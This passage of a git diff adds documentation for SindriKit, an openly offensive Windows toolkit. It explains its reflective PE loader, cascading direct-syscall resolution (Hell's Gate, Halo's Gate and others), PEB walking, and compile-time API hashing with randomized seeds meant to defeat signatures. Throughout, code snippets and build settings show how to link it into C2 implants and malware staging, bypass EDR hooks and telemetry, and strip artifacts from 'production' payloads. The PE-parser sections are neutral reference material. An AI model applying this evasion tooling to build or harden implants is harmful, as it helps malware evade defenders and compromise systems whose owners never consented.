fallbacks. The engine must be deliberately armed. + +For example, when utilizing native execution primitives (`snd_mem_native` or `snd_mod_native`), the underlying NTDLL base must be resolved and the global syscall resolution pipeline must be configured: + +```c +PVOID ntdll = NULL; + +// 1. Explicitly locate and map NTDLL (e.g., via KnownDlls) +snd_status_t status = snd_map_knowndll(&snd_knowndlls_win, L"ntdll.dll", &ntdll); +if (status.code != SND_SUCCESS) { + return status.os_error; +} + +// 2. Feed the base address into the global execution primitive state +snd_set_ntdll(ntdll); + +// 3. Configure the Cascading Syscall Pipeline +snd_set_syscall_strategy(snd_hell_extract_syscall); +snd_add_syscall_strategy(snd_halo_extract_syscall); +snd_add_syscall_strategy(snd_tartarus_extract_syscall); +snd_add_syscall_strategy(snd_veles_extract_syscall); +``` + +By enforcing this explicit bootstrapping phase, operators retain absolute control over how the toolkit derives system service numbers (SSNs) and communicates with the kernel before any offensive operation begins. + +## 3. Case Studies: Standard vs. Stealth Profiles + +The PoCs provided in `pocs/` demonstrate how these execution primitives are applied to the `snd_loader_ctx_t` domain to achieve vastly different OpSec profiles. + +### Profile A: Standard / Diagnostic (`loader_winapi`) +This profile uses the standard, documented Win32 implementations (`snd_mem_win`, `snd_mod_win`). + +```c +snd_loader_ctx_t ctx = {0}; +ctx.mem_api = &snd_mem_win; // Backed by VirtualAlloc/VirtualProtect +ctx.mod_api = &snd_mod_win; // Backed by GetModuleHandle/GetProcAddress + +snd_status_t status = snd_prepare_reflective_image(&ctx); +if (status.code != SND_SUCCESS) { + // Inspect status.code and status.os_error for failure reasons + return status.os_error; +} + +status = snd_execute_reflective_image(&ctx); +if (status.code != SND_SUCCESS) { + return status.os_error; +} +``` +**OpSec Impact:** This profile provides maximum stability and straightforward debugging, but acts as an absolute flare to AV/EDR. Every memory operation directly triggers userland inline hooks inside `ntdll.dll`. It is intended strictly for diagnostic scenarios. + +### Profile B: Stealth / Decoupled (`loader_nowinapi`) +This profile entirely drops the Win32 API layer in favor of direct, dynamic kernel interaction. + +```c +snd_loader_ctx_t ctx = {0}; +ctx.mem_api = &snd_mem_native; // Backed by Direct Syscalls +ctx.mod_api = &snd_mod_native; // Backed by Manual PEB Walking + +// ... (Requires the global syscall bootstrapping shown in Section 2) + +snd_status_t status = snd_prepare_reflective_image(&ctx); +if (status.code != SND_SUCCESS) { + return status.os_error; +} + +status = snd_execute_reflective_image(&ctx); +if (status.code != SND_SUCCESS) { + return status.os_error; +} +``` +**OpSec Impact:** By injecting the `native` primitives, the loader utilizes the cascading syscall strategy to invoke `NtAllocateVirtualMemory` and `NtProtectVirtualMemory` directly. Crucially, the toolkit relies entirely on the `ntdll` base explicitly bootstrapped (e.g., via KnownDlls or custom mapping) rather than trusting the host's PEB state. This bypasses userland telemetry and API string artifacts, forming the baseline requirement for modern offensive operations. + +## 4. Architectural Extensibility + +Because the Dependency Injection and explicit primitive bootstrapping are generalized across the entire framework, SindriKit natively scales to future domains. + +In the future, when initializing a `snd_injector_ctx_t` (for remote process injection) or a `snd_spoof_ctx_t` (for call stack spoofing), the operator follows the exact same paradigm: + +```c +// Future Extensibility Example: +snd_injector_ctx_t inj_ctx = {0}; +inj_ctx.mem_api = &snd_mem_native; +inj_ctx.target_pid = 1337; + +// Uses the previously configured Hell's Gate / Halo's Gate cascading pipeline +snd_execute_injection(&inj_ctx); +``` + +By decoupling "Intent" from "Execution Mechanics", SindriKit ensures that stealth primitives are configured only once. Every subsequent module, toolkit domain, and offensive capability inherently inherits the chosen OpSec profile. diff --git a/docs/getting_started/building.md b/docs/getting_started/building.md new file mode 100644 index 0000000..54f0313 --- /dev/null +++ b/docs/getting_started/building.md @@ -0,0 +1,90 @@ +# Building SindriKit + +SindriKit is built using modern CMake (`>= 3.16`). It supports building either as a standalone executable (for the PoCs) or seamlessly integrating as a static library target (`sindri::engine`) into existing C2 implants and malware staging toolchains. + +The framework is strictly tailored for Windows targets (`_WIN32` or `_WIN64`), aggressively enforcing compiler warnings to prevent unintended implicit type conversions or padding behaviors that often lead to subtle footprint anomalies in memory. + +## 1. CMake Integration + +To embed SindriKit into a custom loader or implant workflow, rewriting the build system is unnecessary. SindriKit exposes `snd_engine` (aliased as `sindri::engine`), which handles all pre-build Python-based API hashing algorithms and architecture-dependent ASM compilation internally. + +Drop the SindriKit repository into the project directory (e.g., `vendor/SindriKit`) and integrate it via `add_subdirectory()`: + +```cmake +# In your parent project's CMakeLists.txt +cmake_minimum_required(VERSION 3.16) +project(AdvancedImplant C CXX ASM_MASM) + +# 1. Configure SindriKit Build Options (Optional but Recommended) +set(SND_BUILD_PAYLOADS OFF CACHE BOOL "Disable standalone PoCs") +set(SND_ENABLE_DEBUG OFF CACHE BOOL "Disable verbose tracking for production builds") +set(SND_HASH_ALGO "DJB2" CACHE STRING "Hashing algorithm for API resolution (DJB2, FNV1A)") + +# 2. Add SindriKit subdirectory +add_subdirectory(vendor/SindriKit) + +# 3. Link your implant against the SindriKit engine +add_executable(implant src/main.c) +target_link_libraries(implant PRIVATE sindri::engine) +``` + +### Build Configuration Variables + +SindriKit is controlled by several CMake cache variables. The build system is designed to forcefully guard against breaking configurations (e.g., combining CRT-less requirements with standard library diagnostics). + +| Variable | Default | Description | Constraints & Side Effects | +|---|---|---|---| +| `SND_ENABLE_DEBUG` | `OFF` | Enables verbose tracking, state machine prints, and line-level error contexts. | If `ON`, injects `` and `printf`/`OutputDebugStringA` into `snd_status_t`. | +| `SND_USE_PRINTF` | `OFF` | Reroutes debug output from `OutputDebugStringA` to `printf`. | Only effective if `SND_ENABLE_DEBUG=ON`. Requires CRT. | +| `SND_CRTLESS` | `OFF` | Builds the engine without standard library dependencies, injecting compiler-intrinsic fallbacks (`memcpy`, `memset`). | **Forcefully disables** `SND_ENABLE_DEBUG` and `SND_USE_PRINTF` if enabled to prevent CRT linking. If `SND_BUILD_TESTS` is `ON`, `SND_CRTLESS` is forcefully disabled. | +| `SND_HASH_ALGO` | `DJB2` | The algorithm used for compile-time API resolution hashing. | Valid options: `DJB2`, `FNV1A`. | +| `SND_RANDOMIZE_SEED` | `OFF` | Randomizes the 32-bit compile-time global hash seed to thwart static analysis rainbow tables. | If `OFF`, uses a deterministic seed (`0x5381`) to prevent constant recompilation of dependent `.c` files during development. | +| `SND_BUILD_PAYLOADS` | `OFF` | Compiles the bundled `loader_winapi` and `loader_nowinapi` executables. | Used primarily for PoC verification. | +| `SND_BUILD_TESTS` | `OFF` | Compiles the internal test suite and PE mutator binaries. | **Requires CRT**. Forcefully sets `SND_CRTLESS=OFF`. | + + +### Pre-Build Code Generation (Algorithm Agility) +By default, the framework runs `scripts/generate_hashes.py` at configure time against `config/hashes.ini` to pre-compute compile-time string hashes. The manifest groups API names under `[module::]` sections. The build system automatically generates a hash for both the module and every API listed beneath it. Swapping the hashing algorithm (e.g., from `DJB2` to `FNV1A`) across the entire codebase is a single `SND_HASH_ALGO` CMake variable. This guarantees zero source changes during hash rotation. Furthermore, by passing `SND_RANDOMIZE_SEED=ON`, a totally fresh 32-bit mathematical seed is embedded alongside the hashes, ensuring static footprints continuously rotate. + +## 2. Compiler Configuration and OpSec + +SindriKit aggressively forces strict compilation. If an operation causes compiler ambiguity, it is treated as a fatal error. + +### MSVC Optimization and Footprint +When building with Microsoft Visual C++ (MSVC), SindriKit enforces `/W4` and `/WX` (warnings as errors). For production builds, this should be coupled with optimization flags to minimize the binary footprint and strip debug artifacts: + +```cmake +# Recommended MSVC Release Flags for your implant +if(MSVC) + target_compile_options(implant PRIVATE + /O1 # Optimize for size + /GS- # Disable buffer security checks (reduces imports/CRT dependency) + /GR- # Disable RTTI + /Zc:threadSafeInit- # Disable magic statics (CRT dependency) + ) + + # Strip PDB paths and enforce dynamic base + target_link_options(implant PRIVATE + /PDBALTPATH:%_PDB% # Strips local PDB path from PE headers + /DYNAMICBASE # Enforce ASLR + /NXCOMPAT # Enforce DEP + /ENTRY:main # Avoid CRT entrypoint if using pure C (Optional) + ) +endif() +``` + +> [!WARNING] +> **CRT Independence & Telemetry Leakage** +> If the CRT is stripped (`/ENTRY:main` or `/NODEFAULTLIB`), the implant must avoid standard C library functions (`malloc`, `printf`, `strcmp`). SindriKit natively supports CRT independence. This is achieved by implementing compiler-intrinsic fallbacks (like `memcpy` and `memset`) within `src/common/crt_manifest.c` and exposing safe string/memory utilities in `include/sindri/common/helpers.h`. +> +> However, there is a critical consequence: if `SND_ENABLE_DEBUG` or `SND_USE_PRINTF` are enabled, the `snd_status_t` layer will automatically pull in `` and `printf` to output verbose error contexts. This breaks CRT-less compilation and silently re-introduces telemetry surfaces. Always compile using the `SILENT` tier (`SND_ENABLE_DEBUG=OFF`) for production to guarantee absolute CRT independence. + +## 3. Build Tiers + +SindriKit supports two build tiers controlled by the `SND_ENABLE_DEBUG` flag: + +- **DEBUG Tier (`SND_ENABLE_DEBUG=ON`)**: Emits the `SND_DEBUG=1` definition. Used during local development. Outputs state machine transitions, parsed PE field values, and syscall resolution failures to `stdout`/`stderr`. +- **SILENT Tier (`SND_ENABLE_DEBUG=OFF`)**: Emits `SND_DEBUG=0`. Strips all string literals associated with error logging and context tracking out of the `.rdata` section, ensuring zero console output and a significantly reduced artifact footprint on disk. + +> [!CAUTION] +> The `SILENT` tier (`SND_ENABLE_DEBUG=OFF`) is the **only** acceptable configuration for compiling production artifacts destined for target environments. diff --git a/docs/parsers/README.md b/docs/parsers/README.md new file mode 100644 index 0000000..3a1e49e --- /dev/null +++ b/docs/parsers/README.md @@ -0,0 +1,9 @@ +# Parsers Domain + +This directory contains strict parsing engines for interpreting complex file formats (like Portable Executables) purely in-memory. + +## Table of Contents +- [techniques.md](techniques.md) + Covers the PE format, the `is_mapped` flag, bounds checking philosophy, export/import resolution mechanics, and base relocation patching. +- [api_reference.md](api_reference.md) + Complete API documentation for `snd_pe_parse`, export/import resolution, relocations, TLS callbacks, and utility macros. diff --git a/docs/parsers/api_reference.md b/docs/parsers/api_reference.md new file mode 100644 index 0000000..ebaa3ee --- /dev/null +++ b/docs/parsers/api_reference.md @@ -0,0 +1,232 @@ +# PE Parser: API Reference + +This page documents the full public API surface of the parsers subsystem. Headers live under `include/sindri/parsers/pe/`. + +--- + +## Core Parser (`sindri/parsers/pe/pe_parser.h`) + +### `snd_pe_parse` + +Validates and parses a raw or mapped PE buffer into a `snd_pe_parser_t` context. Checks the DOS signature (`MZ`), the NT signature (`PE\0\0`), and the Optional Header magic (`0x10B` for PE32, `0x20B` for PE32+). Populates all fields of the output structure on success. + +| Parameter | Type | Description | +|---|---|---| +| `buf` | `const snd_buffer_t*` | Buffer descriptor containing the PE data (pointer + size) | +| `is_mapped` | `BOOL` | `FALSE` for a raw file, `TRUE` for a memory-mapped image | +| `parser` | `snd_pe_parser_t*` | Output context to populate | + +**Returns:** `snd_status_t` — `SND_OK` on success, or a parse error (`SND_STATUS_INVALID_DOS_SIGNATURE`, `SND_STATUS_INVALID_NT_SIGNATURE`, `SND_STATUS_UNSUPPORTED_OPTIONAL_HEADER_MAGIC`, etc.). + +--- + +### `SND_PE_GET_NT_FIELD(parser, field)` + +Macro for reading a field from the NT Optional Header without branching on `is_64bit` at every call site. Selects `nt.nt64->field` or `nt.nt32->field` based on `parser->is_64bit`. + +```c +DWORD size_of_image = SND_PE_GET_NT_FIELD(&ctx.pe, OptionalHeader.SizeOfImage); +``` + +--- + +### `SND_SYS_DLL_SIZE_DEFAULT` + +**Value:** `0x1000` (4096 bytes) + +Bootstrap bound used when parsing the headers of an in-memory system DLL before `SizeOfImage` is known. After `snd_pe_parse` succeeds, the caller must update `parser->source.size` to `SizeOfImage` before calling any directory resolution function. + +--- + +### `snd_pe_parser_t` + +| Field | Type | Description | +|---|---|---| +| `source` | `snd_buffer_t` | Buffer descriptor (base pointer + tracked size) | +| `dos` | `PIMAGE_DOS_HEADER` | Pointer to the DOS header | +| `nt.nt32` | `PIMAGE_NT_HEADERS32` | NT headers pointer for 32-bit images (valid when `is_64bit == FALSE`) | +| `nt.nt64` | `PIMAGE_NT_HEADERS64` | NT headers pointer for 64-bit images (valid when `is_64bit == TRUE`) | +| `section_head` | `PIMAGE_SECTION_HEADER` | Pointer to the first section header entry | +| `string_table` | `BYTE*` | COFF string table pointer (used for long section names) | +| `is_64bit` | `BOOL` | `TRUE` for PE32+ (64-bit image) | +| `is_dll` | `BOOL` | `TRUE` if `IMAGE_FILE_DLL` is set in FileHeader.Characteristics | +| `is_mapped` | `BOOL` | `TRUE` if the source buffer is a loaded image, `FALSE` if raw file | +| `sections_count` | `DWORD` | Number of section header entries | +| `imports_rva` | `DWORD` | Cached RVA of the import data directory | +| `import_size` | `DWORD` | Cached size of the import data directory | + +### `SND_PE_MIN_FILE_ALIGNMENT` + +**Value:** `512` + +The minimum valid file alignment factor allowed for a PE image. Used to sanity-check PE structures against malformed headers. + +--- + +## Utilities (`sindri/parsers/pe/pe_utils.h`) + +### `snd_pe_compatibility_check` + +Validates that a payload's bitness matches the host process architecture. This validation should occur before allocating memory or mapping sections. + +| Parameter | Type | Description | +|---|---|---| +| `is_64bit` | `BOOL` | `TRUE` if the payload is 64-bit | + +**Returns:** `BOOL` — `TRUE` if compatible, `FALSE` on mismatch. + +--- + +### `snd_pe_get_entry_point` + +Computes the absolute entry point address from `OptionalHeader.AddressOfEntryPoint` relative to the parser's source base. + +| Parameter | Type | Description | +|---|---|---| +| `parser` | `const snd_pe_parser_t*` | Parsed PE context | + +**Returns:** `void*` — absolute entry point address, or `NULL` if the RVA is zero or invalid. + +--- + +### `snd_pe_get_tls_callbacks` + +Retrieves the TLS callback array pointer from the TLS data directory. Returns `NULL` if no TLS directory is present. + +| Parameter | Type | Description | +|---|---|---| +| `base_address` | `PVOID` | Base address of the mapped image | +| `parser` | `const snd_pe_parser_t*` | Parsed PE context | + +**Returns:** `PVOID` — pointer to the null-terminated `PIMAGE_TLS_CALLBACK` array, or `NULL`. + +--- + +### `snd_pe_execute_tls_callbacks` + +Iterates the TLS callback array and calls each entry with the specified reason. + +| Parameter | Type | Description | +|---|---|---| +| `virtual_base` | `PVOID` | Base address of the mapped image | +| `parser` | `const snd_pe_parser_t*` | Parsed PE context | +| `reason` | `DWORD` | Callback reason (e.g., `DLL_PROCESS_ATTACH`, `DLL_PROCESS_DETACH`) | + +**Returns:** `snd_status_t` — `SND_OK` on success (including when no TLS directory exists). + +--- + +### `snd_pe_rva_to_ptr` + +Translates an RVA to an absolute pointer within the parser's tracked buffer. Performs a bounds check on `(rva, size)` before returning. For raw files (`is_mapped = FALSE`), performs section-table-based translation. For mapped images (`is_mapped = TRUE`), returns `source.base + rva` directly. + +| Parameter | Type | Description | +|---|---|---| +| `parser` | `const snd_pe_parser_t*` | Parsed PE context | +| `rva` | `DWORD` | Relative Virtual Address to translate | +| `size` | `SIZE_T` | Expected data size at the target address (used for bounds checking) | + +**Returns:** `PVOID` — pointer to the data, or `NULL` if out-of-bounds or the RVA is invalid. + +--- + +### `snd_pe_get_directory` + +Safely retrieves a data directory entry by index from the Optional Header's `DataDirectory` array. + +| Parameter | Type | Description | +|---|---|---| +| `parser` | `const snd_pe_parser_t*` | Parsed PE context | +| `index` | `DWORD` | Directory index (e.g., `IMAGE_DIRECTORY_ENTRY_IMPORT`, `IMAGE_DIRECTORY_ENTRY_EXPORT`) | +| `dir_out` | `IMAGE_DATA_DIRECTORY*` | Output structure populated with `VirtualAddress` and `Size` | + +**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_DIRECTORY_NOT_FOUND` if the directory index is out of range or the directory's `VirtualAddress` is zero. + +--- + +## Export Resolution (`sindri/parsers/pe/pe_exports.h`) + +### `snd_pe_get_export_address` + +Resolves an exported symbol by name from a mapped PE image. Handles export forwarders recursively via the `resolver` callback. + +| Parameter | Type | Description | +|---|---|---| +| `base_address` | `PVOID` | Base address of the mapped PE image | +| `size` | `SIZE_T` | Size of the mapped PE image (for bounds checking) | +| `func_name` | `const char*` | Null-terminated export name to resolve | +| `func_addr_out` | `FARPROC*` | Receives the resolved function address | +| `resolver` | `snd_module_resolver_cb` | Callback to resolve external module bases for forwarders; pass `NULL` to fail on forwarders | + +**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_EXPORT_NOT_FOUND` if the name is not in the export table, `SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED` if a forwarder is encountered and `resolver` is `NULL`. + +--- + +### `snd_pe_get_export_address_by_hash` + +Hash-based variant of export resolution. Eliminates plaintext function name strings from the binary entirely. + +| Parameter | Type | Description | +|---|---|---| +| `base_address` | `PVOID` | Base address of the mapped PE image | +| `size` | `SIZE_T` | Size of the mapped PE image | +| `func_hash` | `DWORD` | Pre-computed hash of the target export name | +| `func_addr_out` | `FARPROC*` | Receives the resolved function address | +| `resolver` | `snd_module_resolver_hash_cb` | Hash-based resolver callback for forwarder modules | + +**Returns:** `snd_status_t` — `SND_OK` on success, or an export resolution error. + +--- + +### `SND_FWD_MAX_DEPTH` + +**Value:** `4` + +Maximum recursion depth for export forwarder resolution. Prevents infinite loops from cyclically forwarded exports. + +--- + +## Import Resolution (`sindri/parsers/pe/pe_imports.h`) + +### `snd_pe_resolve_imports` + +Walks the Import Descriptor table of a mapped PE and patches the IAT. For each descriptor: loads the dependency module via `mod_api->load_library`, then iterates the thunk array resolving by ordinal or name via `mod_api->get_proc_address`. + +| Parameter | Type | Description | +|---|---|---| +| `base_address` | `PVOID` | Base address of the mapped PE image | +| `mod_api` | `const snd_module_api_t*` | Module API used for all loading and symbol resolution | +| `parser` | `const snd_pe_parser_t*` | Parsed PE context | + +**Returns:** `snd_status_t` — `SND_OK` on success, or an import resolution error (`SND_STATUS_IMPORT_DLL_LOAD_FAILED`, `SND_STATUS_IMPORT_SYMBOL_RESOLVE_FAILED`, etc.). + +--- + +### Ordinal Detection Macros + +| Macro | Description | +|---|---| +| `SND_PE_SNAP_BY_ORDINAL32(ordinal)` | `TRUE` if the high bit of a 32-bit thunk value is set (ordinal-based import) | +| `SND_PE_SNAP_BY_ORDINAL64(ordinal)` | `TRUE` if the high bit of a 64-bit thunk value is set | +| `SND_PE_ORDINAL(ordinal)` | Extracts the 16-bit ordinal value from a thunk entry | + +--- + +## Base Relocations (`sindri/parsers/pe/pe_relocations.h`) + +### `snd_pe_apply_relocations` + +Iterates the Base Relocation Table (`.reloc` section) and patches all hardcoded absolute addresses to align with the actual runtime base address. Each entry is bounds-checked before the write is applied. + +The function computes `delta = actual_base - preferred_base`. If `delta` is zero (the image landed at its preferred `ImageBase`), the function returns immediately with `SND_OK`. + +> [!NOTE] +> The memory at `base_address` must have at least `PAGE_READWRITE` permissions before calling this function, as it physically overwrites pointer-sized values inside `.text` and `.data` sections. + +| Parameter | Type | Description | +|---|---|---| +| `base_address` | `PVOID` | Actual runtime base address where the PE image is mapped | +| `delta_offset` | `LONG_PTR` | Difference between actual base and preferred `ImageBase`; zero triggers early exit | +| `parser` | `const snd_pe_parser_t*` | Validated PE parser context | + +**Returns:** `snd_status_t` — `SND_OK` on success, or `SND_STATUS_RELOCS_STRIPPED` if `IMAGE_FILE_RELOCS_STRIPPED` is set in the PE characteristics. diff --git a/docs/parsers/techniques.md b/docs/parsers/techniques.md new file mode 100644 index 0000000..c94d748 --- /dev/null +++ b/docs/parsers/techniques.md @@ -0,0 +1,118 @@ +# PE Parser: Techniques + +The parsers subsystem is the structural foundation that every higher-level SindriKit domain sits on. The reflective loader uses it to validate and map payloads. The syscall resolution pipeline uses it to walk `ntdll.dll`'s export table. The import resolver uses it to iterate descriptor tables and patch the IAT. Understanding how the parser works — and where it makes safety trade-offs — is necessary for using it correctly in both standard and adversarial contexts. + +**Canonical reference:** [PE Format Specification](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format) — Microsoft Learn + +--- + +## PE Format Overview + +A Portable Executable file is laid out as a sequence of structured headers followed by a set of variable-length sections: + +``` +[ IMAGE_DOS_HEADER ] "MZ" — compatibility stub and e_lfanew offset +[ MS-DOS Stub ] legacy stub program +[ IMAGE_NT_HEADERS ] "PE\0\0" signature + FILE_HEADER + OPTIONAL_HEADER +[ IMAGE_SECTION_HEADER[] ] one per section: name, VirtualAddress, PointerToRawData, sizes +[ Section Data ] .text, .data, .rdata, .reloc, .tls, ... +``` + +The Optional Header (despite its name, mandatory for executable images) contains the `DataDirectory` array — 16 entries pointing to structures like the Import Table, Export Table, Base Relocation Table, and TLS Table. All directory and section references within a PE are expressed as Relative Virtual Addresses (RVAs): offsets from the image base, not file offsets. + +--- + +## The `snd_pe_parser_t` Context + +`snd_pe_parse` populates a `snd_pe_parser_t` structure that caches all critical pointers and flags needed for subsequent directory operations. The key fields: + +| Field | Type | Description | +|---|---|---| +| `source` | `snd_buffer_t` | Copy of the buffer descriptor (base pointer + size) | +| `dos` | `PIMAGE_DOS_HEADER` | Direct pointer into the source buffer | +| `nt.nt32` / `nt.nt64` | union | NT headers pointer — union covers both PE32 and PE32+ | +| `section_head` | `PIMAGE_SECTION_HEADER` | Pointer to the first section header | +| `is_64bit` | `BOOL` | TRUE for PE32+ (64-bit), FALSE for PE32 (32-bit) | +| `is_dll` | `BOOL` | TRUE if `IMAGE_FILE_DLL` characteristic is set | +| `is_mapped` | `BOOL` | TRUE if the buffer is a loaded image, FALSE if it is a raw file | +| `sections_count` | `DWORD` | Number of section headers | +| `imports_rva` | `DWORD` | Cached RVA of the import directory | +| `import_size` | `DWORD` | Cached size of the import directory | + +The `SND_PE_GET_NT_FIELD(parser, field)` macro abstracts the 32/64-bit union, allowing callers to read header fields without branching on `is_64bit` at every call site. + +--- + +## The `is_mapped` Flag: File vs. Memory Layout + +This flag is the most operationally significant choice made at parse time, and getting it wrong produces silent, hard-to-diagnose failures. + +**Raw file layout (disk):** Sections live at `PointerToRawData` within the file. A section whose `VirtualAddress` is `0x1000` might have a `PointerToRawData` of `0x400`. A tool reading a raw PE from disk must convert RVAs using the section table — finding which section the RVA falls into and computing the file offset as `PointerToRawData + (rva - VirtualAddress)`. + +**Mapped image layout (memory):** After a PE is mapped into virtual memory, sections live at their `VirtualAddress` from the image base. The OS (or the reflective loader) has already performed the section layout. An RVA translates directly to `base + rva`. + +`snd_pe_rva_to_ptr` checks `parser->is_mapped` and branches accordingly. The same parser code path is used for: +- The reflective loader's **input payload** — a raw file read from disk → `is_mapped = FALSE` +- A **KnownDlls-mapped `ntdll.dll`** used for SSN resolution → `is_mapped = TRUE` + +Passing the wrong flag produces either out-of-bounds reads (crashing cleanly if bounds checks fire) or silent reads from wrong offsets producing garbage data. + +--- + +## Bounds Checking and Parser Safety + +SindriKit's parser is designed to fail safely against malformed or weaponized PE inputs. Every data directory and section access is routed through `snd_pe_rva_to_ptr`, which validates that the requested `(rva, size)` region lies entirely within the tracked buffer bounds before returning a pointer. On any violation, it returns `NULL`, which callers must check. + +### The 4KB Bootstrap Window (`SND_SYS_DLL_SIZE_DEFAULT`) + +Parsing in-memory system DLLs (e.g., a KnownDlls-mapped `ntdll.dll`) presents a bootstrapping problem: the total image size is stored inside the `OptionalHeader.SizeOfImage` field, but to read that field, the headers must first be parsed, which requires a known buffer bound. + +`SND_SYS_DLL_SIZE_DEFAULT` is defined as `0x1000` (4096 bytes — one virtual page). It acts as a conservative initial bound: sufficient to contain the DOS header, NT headers, and section table for every known system DLL, but small enough to limit exposure if the input is malformed. + +> [!IMPORTANT] +> After `snd_pe_parse` succeeds on an in-memory image, the operator **must** update the parser's `source.size` field to `OptionalHeader.SizeOfImage` before calling any directory resolution function. Leaving it clamped at `0x1000` will cause all subsequent `snd_pe_rva_to_ptr` calls for data directories (imports, exports, relocations) to be rejected as out-of-bounds. + +--- + +## Export Table Parsing + +SindriKit resolves exports from a PE by walking the `IMAGE_EXPORT_DIRECTORY`. The directory contains three parallel arrays: +- `AddressOfNames` — RVAs to null-terminated function name strings +- `AddressOfNameOrdinals` — 16-bit ordinal indices into the functions array +- `AddressOfFunctions` — RVAs to the actual function entry points + +For name-based resolution, SindriKit iterates the names array (or uses binary search when the names are sorted, as is standard) to find the target, retrieves the corresponding ordinal, then indexes `AddressOfFunctions`. + +For **hash-based resolution** (`snd_pe_get_export_address_by_hash`), each export name is hashed at resolution time using the configured algorithm (DJB2 by default) and compared against the target hash. This eliminates all plaintext function name strings from the binary. + +### Export Forwarders + +Some exports are forwarders — their RVA points into the export directory itself (rather than a function body) and contains a string like `NTDLL.RtlMoveMemory`. SindriKit resolves forwarders recursively by splitting the string, looking up the named module via the injected `resolver` callback, and repeating the export search in the target module. The recursion depth is capped at `SND_FWD_MAX_DEPTH` (4) to prevent cycles or intentionally deep forwarder chains from looping indefinitely. + +Pass `NULL` as the `resolver` argument to forcefully fail forwarder resolution with `SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED`. + +--- + +## Import Table Parsing + +The import table is a null-terminated array of `IMAGE_IMPORT_DESCRIPTOR` structures, one per dependency DLL. Each descriptor points to two parallel thunk arrays: +- **Import Name Table (INT)** — original references, untouched after loading +- **Import Address Table (IAT)** — populated with resolved addresses at load time + +For each descriptor, `snd_pe_resolve_imports`: +1. Reads the DLL name from the descriptor and calls `mod_api->load_library`. +2. Iterates the thunk array. Each thunk is either ordinal-based (detected with `SND_PE_SNAP_BY_ORDINAL32`/`64` macros — high bit set) or name-based (`IMAGE_IMPORT_BY_NAME` entry). +3. Calls `mod_api->get_proc_address` to resolve the symbol. +4. Writes the resolved address directly into the IAT slot. + +Because all module and symbol resolution is routed through the injected `mod_api`, the import resolution step inherits the full OpSec profile of the configured module primitive — Win32-visible or PEB-walking native. + +--- + +## Base Relocations + +PE images embed absolute virtual addresses in their code and data sections (pointer fields, vtable entries, etc.) at compile time, assuming the image will be loaded at its preferred `ImageBase`. When a reflective loader allocates memory at a different address, all embedded pointers are wrong by a fixed constant: `delta = actual_base - preferred_base`. + +The `.reloc` section contains a sequence of `IMAGE_BASE_RELOCATION` blocks. Each block covers a 4KB page of the image and contains a list of 12-bit offsets (plus a 4-bit type tag). For each entry of type `IMAGE_REL_BASED_DIR64` (x64) or `IMAGE_REL_BASED_HIGHLOW` (x86), SindriKit adds `delta` to the QWORD/DWORD at `virtual_base + block.VirtualAddress + entry.Offset`. Each write is bounds-checked before application. + +If the image happens to land at its preferred base, `delta` is zero and the entire pass is a no-op with no writes. diff --git a/docs/scripts/README.md b/docs/scripts/README.md new file mode 100644 index 0000000..fd08980 --- /dev/null +++ b/docs/scripts/README.md @@ -0,0 +1,7 @@ +# Build Scripts + +This directory documents the pre-build automation scripts that generate source code artifacts consumed during compilation. + +## Table of Contents +- [generate_hashes.md](generate_hashes.md) + Technical breakdown of the compile-time hash generation pipeline, including the randomized seed anti-analysis mechanism and the manifest format. diff --git a/docs/scripts/generate_hashes.md b/docs/scripts/generate_hashes.md new file mode 100644 index 0000000..2ffb7f4 --- /dev/null +++ b/docs/scripts/generate_hashes.md @@ -0,0 +1,71 @@ +# `generate_hashes.py` + +**Location:** `scripts/generate_hashes.py` + +This script is the core of SindriKit's compile-time API hashing pipeline. It is invoked automatically by the CMake build system before compilation begins. Its output is a generated C header (`include/generated/sindri_hashes.h`) containing `#define` macros for every API name and module name the framework needs to resolve at runtime. + +## Purpose + +Offensive tooling that resolves Windows APIs by plaintext name (e.g., `"NtAllocateVirtualMemory"`) leaves those strings embedded in the binary's `.rdata` section. Static analysis tools and YARA rules trivially flag these artifacts. SindriKit eliminates this surface by pre-computing hashes of all required strings at configure time. At runtime, the framework hashes encountered export names and compares the result against these compile-time constants. The plaintext string never appears in the binary. + +## Anti-Analysis: Randomized Seed + +The script accepts a `RANDOMIZE` flag (ON/OFF) as its final argument. +- **When ON:** The script generates a fresh, randomized 32-bit seed in the range `[0x10000000, 0xFFFFFFFF]`. This guarantees that hash values are unique per build, preventing signature-based detection and thwarting pre-computed rainbow tables targeting standard DJB2/FNV1A initialization constants. +- **When OFF:** The script uses a deterministic initialization constant (e.g., `0x5381` for DJB2). This ensures that the generated header remains identical across executions, preserving file system timestamps and preventing unnecessary recompilations during local development. + +The generated header emits the seed as `SND_HASH_SEED`, and the runtime hashing functions in `hash.h` consume it dynamically. + +## Supported Algorithms + +| Algorithm | CMake Variable | Description | +|---|---|---| +| DJB2 | `SND_HASH_ALGO=DJB2` | Daniel J. Bernstein's hash. Shift-and-add (`h = (h << 5) + h + c`). | +| FNV-1a | `SND_HASH_ALGO=FNV1A` | Fowler–Noll–Vo variant 1a. XOR-then-multiply with prime `16777619`. | + +Switching the algorithm across the entire codebase requires only changing the `SND_HASH_ALGO` CMake variable without any source code modifications. + +## Usage + +``` +python scripts/generate_hashes.py +``` + +| Argument | Description | +|---|---| +| `hashes.ini` | Path to the hash manifest (typically `config/hashes.ini`) | +| `sindri_hashes.h` | Output path for the generated C header | +| `ALGO` | Hashing algorithm to use (`DJB2` or `FNV1A`) | +| `RANDOMIZE` | Toggle randomized seeds (`ON` or `OFF`) | + +### Build System Integration (Smart Caching) + +Under normal operation, this script is never invoked manually. The CMake build system evaluates it at **configure time** via `execute_process`. + +To support aggressive incremental builds without sacrificing opsec agility, the script employs "Smart Caching" logic: +1. It pre-calculates the exact header string in memory. +2. It attempts to read the existing `sindri_hashes.h` from disk. +3. If the contents are a perfect 1:1 match, the script cleanly exits **without touching the file**, preserving the disk modification timestamp. + +Because the timestamp remains unmodified, ninja and MSBuild correctly deduce that dependent C files do not need to recompile, vastly improving developer velocity when `SND_RANDOMIZE_SEED=OFF`. + +## Output Format + +The generated header contains: +1. A `SND_HASH_SEED` define with the randomized seed value. +2. Grouped `SND_HASH_` defines for each module and API. + +```c +// AUTO-GENERATED by scripts/generate_hashes.py (DO NOT EDIT) +// Algorithm: DJB2 + +#define SND_HASH_SEED 0xA3F7B1C2U + +// -------------------------------------------------------------------------- 